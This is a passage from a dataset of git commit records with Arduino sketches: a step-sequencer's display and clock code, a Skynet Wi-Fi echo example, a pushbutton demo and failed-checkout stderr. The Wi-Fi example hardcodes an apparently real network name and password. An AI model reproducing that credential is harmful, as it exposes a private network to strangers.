seq_values.stage_slew[i] = (bool)((params.vals.stage_slew >> i) & 1);\n }\n\n if(params.vals.stage_count < 1 || params.vals.stage_count > 8)\n {\n params.vals.stage_count = 8;\n }\n seq_values.stage_count = params.vals.stage_count;\n\n seq_values.diradd_mode = (bool)params.vals.diradd_mode;\n \n if(params.vals.slew_rate < 0 || params.vals.slew_rate > 16)\n {\n params.vals.slew_rate = 8;\n }\n seq_values.slew_hz = slew_hz(params.vals.slew_rate);\n slew_filter->set_frequency(seq_values.slew_hz);\n\n if(params.vals.clock_bpm < 0 || params.vals.clock_bpm > 99)\n {\n params.vals.clock_bpm = 0;\n }\n seq_values.clock_period = bpm_to_us(params.vals.clock_bpm);\n seq_values.clock_ext = !(bool)params.vals.clock_bpm;\n update_clock();\n\n if(params.vals.gate_time < 0 || params.vals.gate_time > 16)\n {\n params.vals.gate_time = 8;\n }\n seq_values.gate_ms = params.vals.gate_time * (uint16_t)(seq_values.clock_period \/ 8000);\n\n \/\/ draw global elements\n for(uint8_t i = 0; i < 6; ++i)\n {\n Display.draw_vline(2 + i, 18 - i, i + 1, DUINO_SH1106::White);\n }\n Display.draw_char(widget_count_->x() + 1, widget_count_->y() + 1,\n '0' + params.vals.stage_count, DUINO_SH1106::White);\n Display.draw_char(widget_diradd_->x() + 1, widget_diradd_->y() + 1,\n params.vals.diradd_mode ? 'A' : 'D', DUINO_SH1106::White);\n Display.draw_char(30, 12, 0x10, DUINO_SH1106::White);\n\n Display.draw_vline(widget_slew_->x() + 1, widget_slew_->y() + 1, 7, DUINO_SH1106::White);\n Display.draw_hline(widget_slew_->x() + 2, widget_slew_->y() + 1, 16, DUINO_SH1106::White);\n Display.draw_hline(widget_slew_->x() + 2, widget_slew_->y() + 7, 16, DUINO_SH1106::White);\n Display.draw_vline(widget_slew_->x() + widget_slew_->width() - 1, widget_slew_->y() + 1, 7, DUINO_SH1106::White);\n display_slew_rate(widget_slew_->x() + 2, widget_slew_->y() + 2, params.vals.slew_rate, DUINO_SH1106::White);\n\n Display.draw_vline(widget_gate_->x() + 1, widget_gate_->y() + 1, 7, DUINO_SH1106::White);\n Display.draw_hline(widget_gate_->x() + 2, widget_gate_->y() + 1, 16, DUINO_SH1106::White);\n Display.draw_hline(widget_gate_->x() + 2, widget_gate_->y() + 7, 16, DUINO_SH1106::White);\n Display.draw_vline(widget_gate_->x() + widget_gate_->width() - 1, widget_slew_->y() + 1, 7, DUINO_SH1106::White); \n display_gate_time(widget_gate_->x() + 2, widget_gate_->y() + 2, params.vals.gate_time, DUINO_SH1106::White);\n\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::White);\n\n \/\/ draw step elements\n for(uint8_t i = 0; i < 8; ++i)\n {\n \/\/ pitch\n display_note(widgets_pitch_->x(i), widgets_pitch_->y(i), params.vals.stage_pitch[i], DUINO_SH1106::White);\n \/\/ steps\n Display.draw_char(widgets_steps_->x(i) + 1, widgets_steps_->y(i) + 1,\n '0' + params.vals.stage_steps[i], DUINO_SH1106::White);\n \/\/ gate mode\n Display.draw_bitmap_7(widgets_gate_->x(i) + 1, widgets_gate_->y(i) + 1,\n gate_mode_icons, (GateMode)params.vals.stage_gate[i], DUINO_SH1106::White);\n \/\/ slew\n Display.fill_rect(widgets_slew_->x(i) + 1, widgets_slew_->y(i) + 1, 14, 4, DUINO_SH1106::White);\n Display.fill_rect(widgets_slew_->x(i) + 2 + 6 * (~(params.vals.stage_slew >> i) & 1),\n widgets_slew_->y(i) + 2, 6, 2, DUINO_SH1106::Black);\n }\n\n widget_setup(container_outer_);\n Display.display_all();\n }\n\n virtual void loop()\n {\n \/\/ cache stage, step, and clock gate (so that each loop is \"atomic\")\n cached_stage = stage;\n cached_step = step;\n cached_clock_gate = clock_gate;\n cached_retrigger = retrigger;\n retrigger = false;\n\n if(cached_retrigger)\n {\n \/\/ drop gate at start of stage\n if(!cached_step)\n {\n gt_out(GT1, false);\n }\n\n \/\/ drop clock each step\n gt_out(GT2, false);\n\n \/\/ update step clock time\n clock_time = millis();\n }\n\n \/\/ set gate state\n switch(seq_values.stage_gate[cached_stage])\n {\n case GATE_NONE:\n gate = false;\n break;\n case GATE_1SHT:\n if(!cached_step)\n {\n gate = partial_gate();\n }\n break;\n case GATE_REPT:\n gate = partial_gate();\n break;\n case GATE_LONG:\n if(cached_step == seq_values.stage_steps[cached_stage] - 1)\n {\n gate = partial_gate();\n }\n else\n {\n gate = true;\n }\n break;\n case GATE_EXT1:\n gate = gt_read(CI2);\n break;\n case GATE_EXT2:\n gate = gt_read(CI3);\n break;\n }\n\n \/\/ set pitch CV state\n float slew_cv = slew_filter->filter(seq_values.stage_cv[cached_stage]);\n cv_out(CO1, seq_values.stage_slew[cached_stage] ? slew_cv : seq_values.stage_cv[cached_stage]);\n\n \/\/ set gate and clock states\n gt_out(GT1, gate);\n gt_out(GT2, cached_clock_gate);\n\n \/\/ update reverse setting\n if(!seq_values.diradd_mode)\n {\n reverse = gt_read(CI1);\n }\n\n widget_loop();\n\n \/\/ display reverse\/address\n if(seq_values.diradd_mode != last_diradd_mode\n || (!seq_values.diradd_mode && reverse != last_reverse)\n || (seq_values.diradd_mode && stage != last_stage))\n {\n display_reverse_address(30, 12);\n last_diradd_mode = seq_values.diradd_mode;\n last_reverse = reverse;\n Display.display(30, 34, 1, 2);\n }\n\n \/\/ display gate\n if(gate != last_gate || stage != last_stage)\n {\n uint8_t last_stage_cached = last_stage;\n last_gate = gate;\n last_stage = stage;\n\n if(gate)\n {\n if(stage != last_stage_cached)\n {\n display_gate(last_stage_cached, DUINO_SH1106::Black);\n }\n display_gate(stage, DUINO_SH1106::White);\n }\n else\n {\n display_gate(last_stage_cached, DUINO_SH1106::Black);\n }\n\n Display.display(16 * last_stage_cached + 6, 16 * last_stage_cached + 9, 3, 3);\n Display.display(16 * stage + 6, 16 * stage + 9, 3, 3);\n }\n\n \/\/ update clock from input\n if(ext_clock_received)\n {\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7,\n widget_clock_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm,\n widget_clock_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n widget_clock_->display();\n ext_clock_received = false;\n }\n }\n\n void widget_save_click_callback()\n {\n if(!saved_)\n {\n save_params(0, params.bytes, 30);\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n void widget_count_scroll_callback(int delta)\n {\n params.vals.stage_count += delta;\n if(params.vals.stage_count < 1)\n {\n params.vals.stage_count = 1;\n }\n else if(params.vals.stage_count > 8)\n {\n params.vals.stage_count = 8;\n }\n seq_values.stage_count = params.vals.stage_count;\n mark_save();\n Display.fill_rect(widget_count_->x() + 1, widget_count_->y() + 1, 5, 7, DUINO_SH1106::White);\n Display.draw_char(widget_count_->x() + 1, widget_count_->y() + 1, '0' + params.vals.stage_count,\n DUINO_SH1106::Black);\n widget_count_->display();\n }\n\n void widget_diradd_scroll_callback(int delta)\n {\n if(delta < 0)\n {\n params.vals.diradd_mode = 0;\n }\n else if(delta > 0)\n {\n params.vals.diradd_mode = 1;\n }\n seq_values.diradd_mode = (bool)params.vals.diradd_mode;\n mark_save();\n Display.fill_rect(widget_diradd_->x() + 1, widget_diradd_->y() + 1, 5, 7, DUINO_SH1106::White);\n Display.draw_char(widget_diradd_->x() + 1, widget_diradd_->y() + 1, params.vals.diradd_mode ? 'A' : 'D',\n DUINO_SH1106::Black);\n widget_diradd_->display();\n }\n\n void widget_slew_scroll_callback(int delta)\n {\n params.vals.slew_rate += delta;\n if(params.vals.slew_rate < 0)\n {\n params.vals.slew_rate = 0;\n }\n else if(params.vals.slew_rate > 16)\n {\n params.vals.slew_rate = 16;\n }\n seq_values.slew_hz = slew_hz(params.vals.slew_rate);\n slew_filter->set_frequency(seq_values.slew_hz);\n mark_save();\n Display.fill_rect(widget_slew_->x() + 2, widget_slew_->y() + 2, 16, 5, DUINO_SH1106::White);\n display_slew_rate(widget_slew_->x() + 2, widget_slew_->y() + 2, params.vals.slew_rate, DUINO_SH1106::Black);\n widget_slew_->display();\n }\n\n void widget_gate_scroll_callback(int delta)\n {\n params.vals.gate_time += delta;\n if(params.vals.gate_time < 0)\n {\n params.vals.gate_time = 0;\n }\n else if(params.vals.gate_time > 16)\n {\n params.vals.gate_time = 16;\n }\n seq_values.gate_ms = params.vals.gate_time * (uint16_t)(seq_values.clock_period \/ 8000);\n mark_save();\n Display.fill_rect(widget_gate_->x() + 2, widget_gate_->y() + 2, 16, 5, DUINO_SH1106::White);\n display_gate_time(widget_gate_->x() + 2, widget_gate_->y() + 2, params.vals.gate_time, DUINO_SH1106::Black);\n widget_gate_->display();\n }\n\n void widget_clock_scroll_callback(int delta)\n {\n params.vals.clock_bpm += delta;\n if(params.vals.clock_bpm < 0)\n {\n params.vals.clock_bpm = 0;\n }\n else if(params.vals.clock_bpm > 99)\n {\n params.vals.clock_bpm = 99;\n }\n seq_values.clock_period = bpm_to_us(params.vals.clock_bpm);\n seq_values.clock_ext = !(bool)params.vals.clock_bpm;\n mark_save();\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7, DUINO_SH1106::White);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::Black);\n update_clock();\n widget_clock_->display();\n }\n\n void widgets_pitch_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_pitch[stage_selected] += delta;\n if(params.vals.stage_pitch[stage_selected] < 0)\n {\n params.vals.stage_pitch[stage_selected] = 0;\n }\n else if(params.vals.stage_pitch[stage_selected] > 119)\n {\n params.vals.stage_pitch[stage_selected] = 119;\n }\n seq_values.stage_cv[stage_selected] = note_to_cv(params.vals.stage_pitch[stage_selected]);\n mark_save();\n Display.fill_rect(widgets_pitch_->x(stage_selected), widgets_pitch_->y(stage_selected), 16, 15,\n DUINO_SH1106::White);\n display_note(widgets_pitch_->x(stage_selected), widgets_pitch_->y(stage_selected),\n params.vals.stage_pitch[stage_selected], DUINO_SH1106::Black);\n widgets_pitch_->display();\n }\n\n void widgets_steps_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_steps[stage_selected] += delta;\n if(params.vals.stage_steps[stage_selected] < 1)\n {\n params.vals.stage_steps[stage_selected] = 1;\n }\n else if(params.vals.stage_steps[stage_selected] > 8)\n {\n params.vals.stage_steps[stage_selected] = 8;\n }\n seq_values.stage_steps[stage_selected] = params.vals.stage_steps[stage_selected];\n mark_save();\n Display.fill_rect(widgets_steps_->x(stage_selected) + 1, widgets_steps_->y(stage_selected) + 1, 5, 7,\n DUINO_SH1106::White);\n Display.draw_char(widgets_steps_->x(stage_selected) + 1, widgets_steps_->y(stage_selected) + 1,\n '0' + params.vals.stage_steps[stage_selected], DUINO_SH1106::Black);\n widgets_steps_->display();\n }\n\n void widgets_gate_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_gate[stage_selected] += delta;\n if(params.vals.stage_gate[stage_selected] < 0)\n {\n params.vals.stage_gate[stage_selected] = 0;\n }\n else if(params.vals.stage_gate[stage_selected] > 5)\n {\n params.vals.stage_gate[stage_selected] = 5;\n }\n seq_values.stage_gate[stage_selected] = (GateMode)params.vals.stage_gate[stage_selected];\n mark_save();\n Display.fill_rect(widgets_gate_->x(stage_selected) + 1, widgets_gate_->y(stage_selected) + 1, 7, 7,\n DUINO_SH1106::White);\n Display.draw_bitmap_7(widgets_gate_->x(stage_selected) + 1, widgets_gate_->y(stage_selected) + 1,\n gate_mode_icons, (GateMode)params.vals.stage_gate[stage_selected], DUINO_SH1106::Black);\n widgets_gate_->display();\n }\n\n void widgets_slew_scroll_callback(uint8_t stage_selected, int delta)\n {\n if(delta < 0)\n {\n params.vals.stage_slew &= ~(1 << stage_selected);\n }\n else if(delta > 0)\n {\n params.vals.stage_slew |= (1 << stage_selected);\n }\n seq_values.stage_slew[stage_selected] = (bool)((params.vals.stage_slew >> stage_selected) & 1);\n mark_save();\n Display.fill_rect(widgets_slew_->x(stage_selected) + 1, widgets_slew_->y(stage_selected) + 1, 14, 4,\n DUINO_SH1106::Black);\n Display.fill_rect(widgets_slew_->x(stage_selected) + 2 + 6 * (~(params.vals.stage_slew >> stage_selected) & 1),\n widgets_slew_->y(stage_selected) + 2, 6, 2, DUINO_SH1106::White);\n widgets_slew_->display();\n }\n\n void widgets_pitch_click_callback()\n {\n widgets_steps_->select(widgets_pitch_->selected());\n widgets_gate_->select(widgets_pitch_->selected());\n widgets_slew_->select(widgets_pitch_->selected());\n }\n\n void widgets_steps_click_callback()\n {\n widgets_pitch_->select(widgets_steps_->selected());\n widgets_gate_->select(widgets_steps_->selected());\n widgets_slew_->select(widgets_steps_->selected());\n }\n\n void widgets_gate_click_callback()\n {\n widgets_pitch_->select(widgets_gate_->selected());\n widgets_steps_->select(widgets_gate_->selected());\n widgets_slew_->select(widgets_gate_->selected());\n }\n\n void widgets_slew_click_callback()\n {\n widgets_pitch_->select(widgets_slew_->selected());\n widgets_steps_->select(widgets_slew_->selected());\n widgets_gate_->select(widgets_slew_->selected());\n }\n\n void set_clock_ext()\n {\n params.vals.clock_bpm = 0;\n seq_values.clock_ext = true;\n ext_clock_received = true;\n update_clock();\n }\n\n uint8_t address_to_stage()\n {\n int8_t addr_stage = (int8_t)(cv_read(CI1) * 1.6);\n if(addr_stage < 0)\n {\n addr_stage = 0;\n }\n else if(stage > seq_values.stage_count - 1)\n {\n addr_stage = seq_values.stage_count - 1;\n }\n return (uint8_t)addr_stage;\n }\n\n private:\n bool partial_gate()\n {\n return (seq_values.clock_ext && cached_clock_gate)\n || cached_retrigger\n || ((millis() - clock_time) < seq_values.gate_ms);\n }\n\n float note_to_cv(int8_t note)\n {\n return ((float)note - 36.0) \/ 12.0;\n }\n\n unsigned long bpm_to_us(uint8_t bpm)\n {\n return 3000000 \/ (unsigned long)bpm;\n }\n\n float slew_hz(uint8_t slew_rate)\n {\n if(slew_rate)\n {\n return (float)(17 - slew_rate) \/ 4.0;\n }\n else\n {\n return 65536.0;\n }\n }\n\n void display_slew_rate(int16_t x, int16_t y, uint8_t rate, DUINO_SH1106::SH1106Color color)\n {\n Display.draw_vline(x + rate - 1, y, 5, color);\n }\n\n void display_gate_time(int16_t x, int16_t y, uint8_t time, DUINO_SH1106::SH1106Color color)\n {\n if(time > 1)\n {\n Display.draw_hline(x, y + 1, time - 1, color);\n }\n Display.draw_vline(x + time - 1, y + 1, 3, color);\n if(time < 16)\n {\n Display.draw_hline(x + time, y + 3, 16 - time, color);\n }\n }\n\n void display_clock(int16_t x, int16_t y, uint8_t bpm, DUINO_SH1106::SH1106Color color)\n {\n if(bpm == 0)\n {\n Display.draw_text(x, y, \"EXT\", color);\n }\n else\n {\n Display.draw_char(x, y, '0' + bpm \/ 10, color);\n Display.draw_char(x + 6, y, '0' + bpm % 10, color);\n Display.draw_char(x + 12, y, '0', color);\n }\n }\n\n void display_note(int16_t x, int16_t y, int8_t note, DUINO_SH1106::SH1106Color color)\n {\n \/\/ draw octave\n Display.draw_char(x + 9, y + 7, '0' + note \/ 12, color);\n\n \/\/ draw note\n Display.draw_char(x + 2, y + 4, semitone_lt[note % 12], color);\n \n \/\/ draw intonation symbol\n switch(semitone_in[note % 12])\n {\n case IF:\n Display.draw_vline(x + 9, y + 1, 5, color);\n Display.draw_pixel(x + 10, y + 3, color);\n Display.draw_pixel(x + 10, y + 5, color);\n Display.draw_vline(x + 11, y + 4, 2, color);\n break;\n case IS:\n Display.draw_vline(x + 9, y + 1, 5, color);\n Display.draw_pixel(x + 10, y + 2, color);\n Display.draw_pixel(x + 10, y + 4, color);\n Display.draw_vline(x + 11, y + 1, 5, color);\n break;\n }\n }\n\n void display_reverse_address(int16_t x, int16_t y)\n {\n Display.fill_rect(x, y, 5, 7, DUINO_SH1106::Black);\n\n if(seq_values.diradd_mode)\n {\n Display.draw_char(30, 12, '1' + stage, DUINO_SH1106::White);\n }\n else\n {\n Display.draw_char(30, 12, 0x10 + (unsigned char)reverse, DUINO_SH1106::White);\n }\n }\n\n void display_gate(uint8_t stage, DUINO_SH1106::SH1106Color color)\n {\n Display.fill_rect(16 * stage + 6, 26, 4, 4, color);\n }\n\n void mark_save()\n {\n if(saved_)\n {\n saved_ = false;\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n struct DU_SEQ_Parameter_Values {\n int8_t stage_pitch[8];\n int8_t stage_steps[8];\n int8_t stage_gate[8];\n uint8_t stage_slew;\n int8_t stage_count;\n uint8_t diradd_mode;\n int8_t slew_rate;\n int8_t gate_time;\n int8_t clock_bpm;\n };\n\n union DU_SEQ_Parameters {\n DU_SEQ_Parameter_Values vals;\n uint8_t bytes[30];\n };\n\n DU_SEQ_Parameters params;\n\n DUINO_WidgetContainer<6> * container_outer_;\n DUINO_WidgetContainer<5> * container_top_;\n DUINO_DisplayWidget * widget_save_;\n DUINO_DisplayWidget * widget_count_;\n DUINO_DisplayWidget * widget_diradd_;\n DUINO_DisplayWidget * widget_slew_;\n DUINO_DisplayWidget * widget_gate_;\n DUINO_DisplayWidget * widget_clock_;\n DUINO_MultiDisplayWidget<8> * widgets_pitch_;\n DUINO_MultiDisplayWidget<8> * widgets_steps_;\n DUINO_MultiDisplayWidget<8> * widgets_gate_;\n DUINO_MultiDisplayWidget<8> * widgets_slew_;\n\n uint8_t cached_stage, cached_step;\n bool cached_clock_gate, cached_retrigger;\n unsigned long clock_time;\n\n bool last_gate;\n uint8_t last_stage;\n bool last_diradd_mode;\n bool last_reverse;\n\n bool ext_clock_received;\n};\n\nDU_SEQ_Function * function;\n\nvoid clock_ext_isr()\n{\n if(!seq_values.clock_ext)\n {\n function->set_clock_ext();\n }\n\n clock_isr();\n}\n\nvoid clock_isr()\n{\n clock_gate = seq_values.clock_ext ? function->gt_read_debounce(DUINO_Function::GT3) : !clock_gate;\n\n if(clock_gate)\n {\n step++;\n step %= seq_values.stage_steps[stage];\n if(!step)\n {\n stage = seq_values.diradd_mode ? function->address_to_stage() : (reverse ?\n (stage ? stage - 1 : seq_values.stage_count - 1) : stage + 1);\n stage %= seq_values.stage_count;\n }\n retrigger = true;\n }\n}\n\nvoid reset_isr()\n{\n stage = step = 0;\n update_clock();\n}\n\nvoid update_clock()\n{\n Timer1.detachInterrupt();\n if(!seq_values.clock_ext)\n {\n Timer1.attachInterrupt(clock_isr, seq_values.clock_period);\n }\n}\n\nvoid save_click_callback() { function->widget_save_click_callback(); }\nvoid count_scroll_callback(int delta) { function->widget_count_scroll_callback(delta); }\nvoid diradd_scroll_callback(int delta) { function->widget_diradd_scroll_callback(delta); }\nvoid slew_scroll_callback(int delta) { function->widget_slew_scroll_callback(delta); }\nvoid gate_scroll_callback(int delta) { function->widget_gate_scroll_callback(delta); }\nvoid clock_scroll_callback(int delta) { function->widget_clock_scroll_callback(delta); }\nvoid s_pitch_scroll_callback(uint8_t selected, int delta) { function->widgets_pitch_scroll_callback(selected, delta); }\nvoid s_steps_scroll_callback(uint8_t selected, int delta) { function->widgets_steps_scroll_callback(selected, delta); }\nvoid s_gate_scroll_callback(uint8_t selected, int delta) { function->widgets_gate_scroll_callback(selected, delta); }\nvoid s_slew_scroll_callback(uint8_t selected, int delta) { function->widgets_slew_scroll_callback(selected, delta); }\nvoid s_pitch_click_callback() { function->widgets_pitch_click_callback(); }\nvoid s_steps_click_callback() { function->widgets_steps_click_callback(); }\nvoid s_gate_click_callback() { function->widgets_gate_click_callback(); }\nvoid s_slew_click_callback() { function->widgets_slew_click_callback(); }\n\nvoid setup()\n{\n stage = step = 0;\n gate = clock_gate = retrigger = false;\n\n Timer1.initialize();\n\n slew_filter = new DUINO_Filter(DUINO_Filter::LowPass, 1.0, 0.0);\n\n function = new DU_SEQ_Function();\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","returncode":0,"stderr":"","license":"bsd-3-clause","lang":"Arduino"} {"commit":"54b9bb4f216d16bbf0bd4fbfce513622090cae22","subject":"connect working, overflowing some damn wifi print buffer","message":"connect working, overflowing some damn wifi print buffer\n","repos":"octoblu\/microblu_ws,octoblu\/microblu_ws,octoblu\/microblu_ws","old_file":"examples\/skynetim_wifi_echo\/skynetim_wifi_echo.ino","new_file":"examples\/skynetim_wifi_echo\/skynetim_wifi_echo.ino","new_contents":"\/* \n * SSSSS kk tt \n * SS kk kk yy yy nn nnn eee tt \n * SSSSS kkkkk yy yy nnn nn ee e tttt \n * SS kk kk yyyyyy nn nn eeeee tt \n * SSSSS kk kk yy nn nn eeeee tttt \n * yyyyy \n * \n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR \n * THE INTERNET OF THINGS.\n * \n * This sketch is VERY low on ram. Currently it only works on an Arduino Mega\n * (4x the ram of an Uno)\n *\n * Works with ethernet shields compatible with EthernetClient library from\n * Arduino. If you don't know, grab the original \n * http:\/\/arduino.cc\/en\/Main\/ArduinoEthernetShield\n * \n * Requires the ajson library https:\/\/github.com\/interactive-matter\/aJson\n * \n * You will notice we're using F() in Serial.print which might be new to you\n * Its covered briefly on the arduino print page but it means we can store\n * our strings in flash, instead of in ram. \n * \n * You can turn on debugging within SkynetClient.h by uncommenting \n * #define SKYNETCLIENT_DEBUG\n *\/\n\n#include <EEPROM.h>\n#include <aJSON.h>\n#include <WiFi.h>\n#include \"SPI.h\"\n#include \"SkynetClient.h\"\n\nSkynetClient skynetclient;\n\nchar ssid[] = \"Filthy Worm Babies\"; \/\/ your network SSID (name)\nchar pass[] = \"mart88@Qatar\"; \/\/ your network password\nint status = WL_IDLE_STATUS; \/\/ the Wifi radio's status\n\nchar hostname[] = \"skynet.im\";\nint port = 80;\n\nvoid setup()\n{\n \/\/delay to give you time to open a console so we don't hammer server\n delay(5000);\n Serial.begin(9600);\n\n \/\/ check for the presence of the shield:\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/ don't continue:\n while (true);\n }\n\n String fv = WiFi.firmwareVersion();\n if ( fv != \"1.1.0\" )\n Serial.println(\"Please upgrade the firmware\");\n\n \/\/ attempt to connect to Wifi network:\n while ( status != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to WPA SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network:\n status = WiFi.begin(ssid, pass);\n\n \/\/ wait 10 seconds for connection:\n delay(10000);\n }\n\n \/\/ you're connected now, so print out the data:\n Serial.print(\"You're connected to the network\");\n printCurrentNet();\n printWifiData();\n \n skynetclient.setMessageDelegate(onMessage);\n\n bool status;\n do {\n status=skynetclient.connect(hostname, port);\n }while(!status);\n \n Serial.println(F(\"Connected!\"));\n Serial.print(\"uuid: \");\n Serial.println(skynetclient.uuid);\n Serial.print(\"token: \");\n Serial.println(skynetclient.token);\n}\n\naJsonObject *msg;\n\nvoid onMessage(aJsonObject *data){\n \/\/parse or print your message\n Serial.println(aJson.print(data));\n \n msg = aJson.getObjectItem(data, FROMUUID);\n \n \/\/Lets echo back if there was a fromuuid\n if (strcmp(msg->name, FROMUUID) == 0){\n Serial.print(F(\"return address:\"));\n Serial.println(msg->valuestring);\n skynetclient.sendMessage(msg->valuestring, \"Thanks!\");\n }\n}\n\nvoid loop(){\n \/\/need to call monitor to check for new data\n skynetclient.monitor(); \n}\n\nvoid printWifiData() {\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n Serial.println(ip);\n\n \/\/ print your MAC address:\n byte mac[6];\n WiFi.macAddress(mac);\n Serial.print(\"MAC address: \");\n Serial.print(mac[5], HEX);\n Serial.print(\":\");\n Serial.print(mac[4], HEX);\n Serial.print(\":\");\n Serial.print(mac[3], HEX);\n Serial.print(\":\");\n Serial.print(mac[2], HEX);\n Serial.print(\":\");\n Serial.print(mac[1], HEX);\n Serial.print(\":\");\n Serial.println(mac[0], HEX);\n\n}\n\nvoid printCurrentNet() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print the MAC address of the router you're attached to:\n byte bssid[6];\n WiFi.BSSID(bssid);\n Serial.print(\"BSSID: \");\n Serial.print(bssid[5], HEX);\n Serial.print(\":\");\n Serial.print(bssid[4], HEX);\n Serial.print(\":\");\n Serial.print(bssid[3], HEX);\n Serial.print(\":\");\n Serial.print(bssid[2], HEX);\n Serial.print(\":\");\n Serial.print(bssid[1], HEX);\n Serial.print(\":\");\n Serial.println(bssid[0], HEX);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.println(rssi);\n\n \/\/ print the encryption type:\n byte encryption = WiFi.encryptionType();\n Serial.print(\"Encryption Type:\");\n Serial.println(encryption, HEX);\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_wifi_echo\/skynetim_wifi_echo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3b2bcedffe8223d77673ff49bbdf59268211ee01","subject":"Modo viaje y modo alarma basicos para alarm-basics estructurado es funcional","message":"Modo viaje y modo alarma basicos para alarm-basics estructurado es funcional\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/alarm-basics\/alarm-basics.ino","new_file":"pocs\/alarm-basics\/alarm-basics.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ed79dbab09ba2e77a872bbdf5ccd153a9342a55c","subject":"Create solpev-alarm.ino","message":"Create solpev-alarm.ino\n\nSigned-off-by: Gianpaolo Macario <f8885408b8c3d931b330bae3c3a28a3af912c463@gmail.com>","repos":"gmacario\/learning-arduino","old_file":"Sketches\/solpev-alarm\/solpev-alarm.ino","new_file":"Sketches\/solpev-alarm\/solpev-alarm.ino","new_contents":"\/*\n Input Pullup Serial\n\n This example demonstrates the use of pinMode(INPUT_PULLUP). It reads a\n digital input on pin 2 and prints the results to the serial monitor.\n\n The circuit:\n * Momentary switch attached from pin A1 to ground\n * Built-in LED on pin 13\n\n Unlike pinMode(INPUT), there is no pull-down resistor necessary. An internal\n 20K-ohm resistor is pulled to 5V. This configuration causes the input to\n read HIGH when the switch is open, and LOW when it is closed.\n\n created 14 March 2012\n by Scott Fitzgerald\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/InputPullupSerial\n\n This example code is in the public domain\n\n Modified by Gianpaolo Macario, 2017-03-03\n\n *\/\n\nvoid setup() {\n \/\/start serial connection\n Serial.begin(9600);\n \/\/configure Analog Pin 1 of the Yun as a digital input and enable the internal pull-up resistor\n pinMode(A1, INPUT_PULLUP);\n pinMode(13, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/read the pushbutton value into a variable\n int sensorVal = digitalRead(A1);\n \/\/print out the value of the pushbutton\n Serial.println(sensorVal);\n\n \/\/ Keep in mind the pullup means the pushbutton's\n \/\/ logic is inverted. It goes HIGH when it's open,\n \/\/ and LOW when it's pressed. Turn on pin 13 when the\n \/\/ button's pressed, and off when it's not:\n if (sensorVal == HIGH) {\n digitalWrite(13, LOW);\n } else {\n digitalWrite(13, HIGH);\n }\n}\n\n\/\/ EOF\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/solpev-alarm\/solpev-alarm.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"7553b67dd750b0c9019f0f50e4cff6746e6b644f","subject":"ESP8266 BlinkWithoutDelay","message":"ESP8266 BlinkWithoutDelay\n","repos":"Juppit\/Arduino,chrisfraser\/Arduino,jes\/Arduino,sticilface\/Arduino,lrmoreno007\/Arduino,esp8266\/Arduino,CanTireInnovations\/Arduino,Links2004\/Arduino,Cloudino\/Arduino,me-no-dev\/Arduino,Cloudino\/Arduino,martinayotte\/ESP8266-Arduino,toastedcode\/esp8266-Arduino,Lan-Hekary\/Arduino,Cloudino\/Cloudino-Arduino-IDE,esp8266\/Arduino,chrisfraser\/Arduino,Cloudino\/Arduino,martinayotte\/ESP8266-Arduino,me-no-dev\/Arduino,Cloudino\/Arduino,Juppit\/Arduino,hallard\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,sticilface\/Arduino,KaloNK\/Arduino,Adam5Wu\/Arduino,Cloudino\/Arduino,NextDevBoard\/Arduino,NullMedia\/Arduino,lrmoreno007\/Arduino,Juppit\/Arduino,jes\/Arduino,gguuss\/Arduino,Links2004\/Arduino,jes\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,quertenmont\/Arduino,Links2004\/Arduino,CanTireInnovations\/Arduino,me-no-dev\/Arduino,KaloNK\/Arduino,Links2004\/Arduino,Cloudino\/Arduino,CanTireInnovations\/Arduino,gguuss\/Arduino,hallard\/Arduino,Lan-Hekary\/Arduino,Cloudino\/Cloudino-Arduino-IDE,chrisfraser\/Arduino,gguuss\/Arduino,toastedcode\/esp8266-Arduino,jes\/Arduino,toastedcode\/esp8266-Arduino,Ad